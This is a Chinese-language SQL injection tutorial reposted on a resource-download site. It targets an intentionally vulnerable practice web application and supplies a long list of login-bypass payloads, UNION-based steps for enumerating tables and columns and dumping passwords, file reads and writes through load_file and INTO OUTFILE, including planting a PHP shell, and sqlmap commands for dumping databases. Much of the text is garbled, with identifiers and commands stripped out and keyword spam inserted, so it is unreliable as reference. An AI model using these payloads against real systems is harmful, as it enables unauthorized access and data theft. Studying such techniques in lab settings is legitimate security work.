SQL注入漏洞利用

0x00前言

SQL注入是一种注入攻击,可以执行恶意SQL语句。这些语句控制Web应用程序后面的数据库服务器。攻击者可以利用SQL 注入漏洞规避应用程序安全性方面的努力。他们可以绕过页面或Web应用程序的身份验证和授权,并恢复整个SQL数据库的内容。他们同样可以利用SQL注入来包含,更改和擦除数据库中的记录。SQL注入漏洞可能会影响使用SQL数据库的任何站点或Web应用程序,例如MySQL,,MSSQL或其他。攻击者可能会利用它来增加对您的敏感信息,客户数据,商业秘密,许可创新的未经许可的访问,而这仅仅是冰山一角。

而由于sql注入漏洞得利用有些广泛,因此我们将无法提及SQL注入的所有细节,而是从基础知识开始对其中的一些内容进行说明。为此,我们将使用的 Web应用程序,该Web应用程序仅出于演示目的容易受到SQL 注入攻击。

sql漏洞注入利用

选择“ ”链接,然后转到“登录/注册”选项卡并注册以创建一个帐户。

sql漏洞注入利用

提供必要的信息,然后单击“创建帐户”按钮。

sql漏洞注入利用

现在,让我们使用一些SQL注入技术来绕过登录页面,本教程介绍了攻击者可以用来破坏登录表单的不同方法。

0x01 在POST字段中发现SQL注入

我们将在示例中使用的登录结构非常简单。它包含两个易受攻击的输入字段(用户名和密码)。后端内容创建查询以批准客户端提供的用户名和密钥。以下是页面基本原理的概述:

$ query =“ * FROM users where where =’$ _ POST ‘AND =’$_POST’”;

为了避开登录和访问受限区域,攻击者需要构建一个SQL部分,该部分将更改“ WHERE”子句并将其设为true。例如,随附的登录数据将通过滥用参数中存在的弱点来提供对攻击者的访问权限。对于用户名,请输入“ john.doe”或“ ”,对于密码,请输入“ ” or“ 1” =‘1)或(admin(or’1’='1),然后尝试登录,然后您将显示一个管理员登录页面。

sql漏洞注入利用

sql漏洞注入利用

让我们看一下生成的查询:

* FROM users,其中 ='john.doe’AND =‘’or’1’=‘1’

由于操作员的优先权,“and”条件将首先评估。

然后评估“ OR”运算符,使“ WHERE”语句为真。该条件对“users”表的所有行均有效。这意味着将忽略给定的用户名,并且攻击者将以“users”表中的主要用户身份登录。此外,这意味着攻击者无需知道用户名即可访问框架。查询将为他发现一个!

在这些简单的示例中,我们已经看到入侵者可以回避使用SQL注入的身份验证系统。在不限制可能造成的灾难性后果的情况下,必须提到的是,SQL注入比登录绕过具有更大的安全影响。以下是OWASP成员Emin Islam 博士创建的命令列表,这些命令可用于SQL注入身份验证旁路。

or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin’--
admin’ #
admin’/*
admin’ or ‘1’=’1
admin’ or ‘1’=’1'--
admin’ or ‘1’=’1'#
admin’ or ‘1’=’1'/*
admin’or 1=1 or ‘’=’
admin’ or 1=1
admin’ or 1=1--
admin’ or 1=1#
admin’ or 1=1/*
admin’) or (‘1’=’1
admin’) or (‘1’=’1'--
admin’) or (‘1’=’1'#
admin’) or (‘1’=’1'/*
admin’) or ‘1’=’1
admin’) or ‘1’=’1'--
admin’) or ‘1’=’1'#
admin’) or ‘1’=’1'/*
1234 ‘ AND 1=0 UNION ALL SELECT ‘admin’, ‘81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin” #
admin”/*
admin” or “1”=“1
admin” or “1”=“1”--
admin” or “1”=“1”#
admin” or “1”=“1”/*
admin” or 1=1 or ““=“
admin” or 1=1
admin” or 1=1--
admin” or 1=1#
admin” or 1=1/*
admin”) or (“1”=“1
admin”) or (“1”=“1”--
admin”) or (“1”=“1”#
admin”) or (“1”=“1”/*
admin”) or “1”=“1
admin”) or “1”=“1”--
admin”) or “1”=“1”#
admin”) or “1”=“1”/*

sql漏洞注入利用

1234 “ AND 1=0 UNION ALL SELECT “admin”, “81dc9bdb52d04dc20036dbd8313ed055

0x02 绕过登录字段

在此示例中,我们将仅定位用户名字段并尝试获得访问权限。用户名字段也很容易受到攻击,同样也可能被滥用来访问框架。攻击者绕过身份验证的要求不高,而且逐渐变得常识,因为他可以选择他可能想要登录的用户记录。

这是SQL注入攻击的外观。将(admin’#)或(admin’–)放在用户名字段中,然后按“ Enter”登录。我们使用“#”或“–”来注释用户名后告诉查询语句的所有内容忽略密码字段的数据库:(选择*来自用户,其中 =‘admin’#AND =’’)。通过使用行注释,攻击者可以消除部分登录条件并获得访问权限。这项技术将使“ WHERE”子句仅对一个用户成立。在这种情况下,它是“管理员”。

sql漏洞注入利用

sql漏洞注入利用

0x03 基于联合的SQL注入

基于UNION的SQL注入攻击使分析仪可以有效地从数据库中提取数据。由于如果两个查询的结构完全相同,则必须使用“ UNION”运算符,因此攻击者必须像第一个查询一样编写“ ”语句。为此,必须知道一个实质性的表名,但是决定第一个查询中的列数及其信息类型同样至关重要。

在本教程中,我们将使用 的“用户信息”页面执行基于联合的SQL注入攻击。转到“ OWASP Top 10 / A1 —注入/ SQLi —提取数据/用户信息”,并使用在我们上面学习的登录绕过技术来访问该页面。

sql漏洞注入利用

sql漏洞注入利用

我们所有的攻击媒介都将使用基于联合的技术在页面的URL部分中执行。

有两种不同的方法来发现原始查询选择了多少列。首先是注入“ ORDER BY”语句以查询列号。给定指定的列数大于“ ”语句中的列数,将返回错误。否则sql漏洞注入利用,结果将按提到的列进行排序。

sql漏洞注入利用

由于我们不知道列数,因此我们从100开始。使用二分法,要找到确切的列数,请减少列数SQL注入漏洞利用,直到返回与“ ORDER BY”子句相关的错误为止。在此示例中,我们将其减少到6列并收到一条错误消息,因此这意味着列数少于6。

sql漏洞注入利用

当我们输入5列是,它可以工作并显示一些信息。这意味着我们可以使用5列。

接下来,而是采用 了“order by”选项,让我们使用“union ”选项,并提供所有5列。例如:

union 1,2,3,4,5

sql漏洞注入利用

如上图中所示,第2、3和4列显示出来了可用,因此我们可以将这些数字替换为任何数据库值以查看它们对应的含义。让我们将第2列更改为“ ()”,将第 3列更改为“ user()”,将第4列更改为“ ()”。

例如:

union 1,(),user(),(),5

sql漏洞注入利用

这个联合命令为我们提供了一些有用的信息。现在,我们知道数据库为“ ”,其用户为“ root@”,服务器的版本为“ 5.0.51a-”。根据这些信息,我们可以搜索一些漏洞或exp,以进一步破坏目标。

0x04 查找数据库表

在构建查询数据库以提取敏感数据之前,攻击者必须认识到他需要提取哪些信息以及该信息在数据库中的存储位置。首先,必须意识到您很可能查看数据库用户有权访问的表。换句话说,您的会话客户端很可能会声明或已向客户端授予一定授权的概要表。其他所有表似乎都不存在。

在MySQL中,表“ .”包含用表项标识的所有元数据。下面列出了此表上最有用的信息。

“ ”:表的名称。

“ ”:表模式名。

如果要限制返回到当前模式的表的列表,则可以添加“ WHERE”子句以结合“ ()”和“ ()”函数来过滤此列。

例如:

union 1,,null,null,5 from . where = ‘’

在这里SQL注入漏洞利用,我们要从“ owasp 10”数据库中检索表名

sql漏洞注入利用

如上图所见,我们可以访问多个名为“(账号)”,“ ”,“ ”,“ ”,“ ”和“ ”的表。

0x05提取敏感数据,例如密码

当攻击者知道表名时,他需要发现提取数据的列名。在MySQL中,表“ .”提供有关表中列的数据。要提取的最有用的列之一称为“ ”。”

例如:

union 1,,null,null,5 from . where = ‘’

在这里,我们尝试从“帐户”表中提取列名称。

sql漏洞注入利用

一旦发现所有可用的列名,我们就可以通过在查询语句中添加这些列名来从中提取信息。

例如:

union 1,,,,5 from

sql漏洞注入利用

如上图所示,我们设法检索了与此数据库相关的所有用户名和密码。

0x06 在Web服务器上读写文件

在本小节内容中,我将告诉您访问目标计算机上文档的最佳方法,就像如何将自己的文件和代码传输到目标计算机上一样,而无需踏入目标网站的管理面板。

sql漏洞注入利用

我们可以使用“ ()函数”运算符细读网络服务器中包含的任何文件的内容。通常,我们将检查“ / etc / ”文件,以查看是否能幸运地获得用户名和密码,以便以后在爆破攻击中使用。

例:

union null,(‘/etc/’),null,null,null

sql漏洞注入利用

我们将利用“ ()”函数为它们提供的所有运算符,并尝试通过SQL注入传输外层代码来尝试建立目标服务器的根目录。请记住,这样做的一般目的是告诉您最佳方法,而不会被管理员面板抓住。这种替代方法使您可以从一列中获取内容,并在整洁的文本文件中发现它们,以保持整洁。您还可以利用它来传输代码以执行远程文件包含或CMD执行。

例:

union null,’Hello World!’,null,null,null into ‘/tmp/hello.txt’

在此示例中,我们将编写“ Hello World!”。句子并将其作为“ hello.txt”文件输出到“ / tmp /”目录中。这个“ Hello World!” 可以用您要在目标服务器中执行的任何PHP Shell代码替换该语句。

sql漏洞注入利用

如上图中所示,我们成功添加了文本并将其保存为“ hello.txt”文件在“ / tmp”目录中。

0x07 使用发现SQL注入并提取数据

是最主流和突破性的SQL注入自动化工具中的佼佼者。给定一个易受攻击的HTTP URL请求,可以滥用远程数据库并完成大量黑客操作,例如删除数据库名称,表,列,表中的所有数据,等等。它甚至可以在特定条件下在远程文件系统上读写文档。

不熟悉时,可能会很棘手。此教学练习旨在以生动,基本的方式展示此主流SQL注入设备的最重要功能。

要启动并列出所有可用选项,请键入“ –help”。它将提供您需要了解的所有内容以及一些在实践中如何使用它的示例。让我们更仔细地看一下这个工具。

sql漏洞注入利用

转到登录页面,输入一些错误的凭据sql漏洞注入利用,然后按“ Enter”以生成流量并创建URL GET参数。

sql漏洞注入利用

然后复制URL链接,并在工具中使用它。

例:

–u ++

这里的“ -u”代表您要执行SQL注入攻击 的 目标URL。要跳过特定于其他DBMS的测试有效负载,请输入“ Y”。

在搜索的几分钟内,已经发现用户名是可注入的并且容易受到攻击,如屏幕截图所示。

sql漏洞注入利用

如果要查找更多漏洞,只需让该过程运行到最后,它就可以找到所有可用漏洞。对于演示,我们将按“ Crtl + C”在此处停止。

在此教程中,有关提取数据的事情确实令人着迷。从SQL注入点恢复存储在数据库中的信息是一项艰巨的任务,尤其是当没有结果直接返回到易受攻击的网页中时。幸运的是sql漏洞注入利用,使用可使分析仪提取宝贵的数据片段,而无须手工操作。首先,让我们使用类似的命令来提取要尝试破解的网站上所有可用的数据库,但最后,为数据库添加“ –dbs”选项。

例:

–u ++ –dbs

sql漏洞注入利用

提取了所有可用的数据库。要注入更多的SQL查询,我们需要使用相同的命令来了解当前数据库,但将最后一个参数替换为“ —db”。

例:

–u ++ —db

此命令的输出显示我们位于“ ”数据库中。

sql漏洞注入利用

现在,使用命令“ — –D ”来查看数据库“ ”的所有可用表。

sql漏洞注入利用

例:

–u ++ — –D

如下图所示,我们设法提取了数据库“ ”的所有可用表。

sql漏洞注入利用

还可以通过实现参数“ — -T

”来枚举列。

例:

–u ++ — -T

sql漏洞注入利用

黑客甚至有可能转储整个表或数据库,并使用选项“ –dump”列出所有有价值的信息。

例:

–u ++ — -T –dump

sql漏洞注入利用

公告:
1. 本站所有资源来源于用户上传和网络,如有侵权请联系站长!
2. 分享目的仅供大家学习和交流,您必须在下载后24小时内删除!
3. 不得使用于非法商业用途,不得违反国家法律。否则后果自负!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解!
5. 如有链接无法下载、失效或广告,请联系站长处理!
6. 本站不售卖代码,资源标价只是站长收集整理的辛苦费!如果您喜欢该程序,请支持正版软件,购买注册,得到更好的正版服务。
7. 站长QQ号码 2205675299

资源库 - 资源分享下载网 » SQL注入漏洞利用

常见问题FAQ

关于资源售价和售后服务的说明?
本站所有资源的标价均为本站收集资源的辛苦费,不代表资源本身的价值。软件是高智慧高价值的商品,不可能是白菜价。本站资源标价只是赞助费用,收取的赞助费仅用来维持本站的日常运营!毕竟收集整理资料需要投入云计算资源和站长大量的精力。
代码有没有售后服务和技术支持?
由于代码的运行具有不可预见性,本站不保证代码完整可运行,不提供技术支持和售后服务。 本站原创代码都是站长自己开发的,可以有偿提供技术支持服务。 网站里标明【亲测】的代码都是站长亲测过的,其他的代码由于精力有限,没有一一测试,不能保证代码就一定能够使用,更没有技术支持服务,下载前请自行斟酌。
有没有搭建服务?
由于搭建服务比较费时费力,所以本站除了原创代码外均不提供搭建服务。本站分享代码纯属兴趣爱好,不以盈利为目的,请勿咨询有没有搭建服务,谢谢理解。
链接地址失效了怎么办?
请带上资源链接地址联系客服,工作时间内我们看到后将第一时间回复。
关于解压密码
本站资源一般都没有加密,如果发现需要解压密码的,那么就输入 hao.35dc.com 试试。

发表评论

资源库,由老程序员细心甄别、精心筛选,只为提供优质的源码资源

关于我们 联系我们